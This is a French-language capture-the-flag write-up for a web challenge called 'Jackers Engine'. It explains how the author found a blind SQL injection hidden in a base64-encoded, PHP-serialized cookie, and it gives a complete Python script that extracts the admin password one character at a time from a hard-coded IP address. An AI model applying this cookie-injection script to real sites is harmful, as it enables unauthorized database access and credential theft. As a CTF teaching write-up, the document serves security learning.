#
MCTF3 FINAL WEB100 JACKERS ENGINE
#
BRAHIMI ZAKARIA
# FROM
SUDO_ROOT
# GREETZ
TO THE CTF ORGANISERS AKA TH3J4CK3RS
L’application
web inclue un simple formulaire avec un seul input. En passant des lettres dans
cet input l’application web renvoi un nom d’utilisateur si toutefois les
caractères entrés sont compris dans celui-ci. Cela signifie probablement que
notre point d’injection se trouve après un LIKE au sein d’une requête SQL. On
pourra déjà cerner à travers ce système qu’un utilisateur ‘admin’ est existant.
Par
ailleurs, on remarquera l’existence d’un fichier robots.txt à la racine
du site-web contenant des entrées qui ressemble à quelque chose comme ‘deny
/assets/*.db’. Cela ne vous avancera pas à grands chose excepté l’extension
‘.db’ qui peut être considérée comme un indice signifiant qu’il vous faudra
taper dans la base de données au moyen des injections SQL.
Surprise,
l’input a bien l’air de filtrer les signes de ponctuation permettant de
réaliser notre injection SQL justement. Après quelques tentatives de bypass, on
remarquera que le champs POST est bien filtré.
Petite
réflexion. A l’ouverture du site web avant même de passer notre input, on
remarquera que le nom d’utilisateur ‘jack’ est retourné. Pas si étrange que ça,
si on s’aperçoit qu’un cookie est créé dès le départ portant le même nom que
l’input du form, à savoir ‘q’.
Celui-ci est
considéré uniquement en l’absence du paramètre POST ‘q’. Néanmoins, celui-ci
passe par une sérialisation et se manifeste sous une forme littérale encodée en
base64.
En décodant
ce dernier, on obtient 2 paramètres : un paramètre ‘q’ et un paramètre
‘limit’. Le limit ne semple pas sensible aux injections SQL. Par contre le
paramètre ‘q’ ne semble pas filtré et nous permettra par conséquent de réaliser
notre injection SQL. Une fois notre injection insérée, il faudra modifier le
cookie en conséquence pour que celui-ci soit sous la bonne forme afin que la désérialisation
puisse fonctionner correctement. Sa valeur par défaut vaut le caractère ‘J’ en hexadécimal ;
c’est pourquoi le nom d’utilisateur ‘jack’ de base.
Cela dit, on
a plutôt affaire à une injection SQL à l’aveugle. De ce fait, nous allons tout
simplement récupérer la longueur du mot de passe de l’utilisateur ‘admin’ puis la
valeur de son mot de passe (qui ne peut être que le flag) caractère par
caractère.
Le script
permettant de réaliser cela est le suivant :
import
requests
import re
import base64
trouve=0
longueur=0
while
(trouve==0):
payload = "admin\' and
length(password)="+str(longueur)+"-- -"
payload2 =
'a:2:{s:1:"q";s:'+str(len(payload))+':"'+payload+'";s:5:"limit";s:1:"1";}'
payload3 = base64.b64encode(payload2)
cookies = {'q': payload3}
resultat=requests.post('http://52.59.5.86/jengine/',cookies=cookies).content
res=re.search("admin",resultat)
if res is not None:
trouve=1
else:
longueur+=1
print
"The password length is " + str(longueur)
trouve=0
length=1
caractere=32
final_pass=""
while(trouve==0):
payload = "admin' and
substr(password,"+str(length)+",1)='"+str(chr(caractere))+"'--
-"
payload2 =
'a:2:{s:1:"q";s:'+str(len(payload))+':"'+payload+'";s:5:"limit";s:1:"1";}'
payload3 = base64.b64encode(payload2)
cookies = {'q': payload3}
resultat=requests.post('http://52.59.5.86/jengine/',cookies=cookies).content
res=re.search("admin",resultat)
if res is not None:
if (length!=longueur):
final_pass+=chr(caractere)
length+=1
caractere=32
else:
final_pass+=chr(caractere)
trouve=1
else:
caractere+=1
print
("Le flag est : %s " % final_pass)
|
Comme prévu,
en très peu de temps le script nous renvoi la longueur du mot de passe de
l’admin ainsi que sa valeur qui est bien le flag de validation du challenge. La
figure suivante en est la preuve :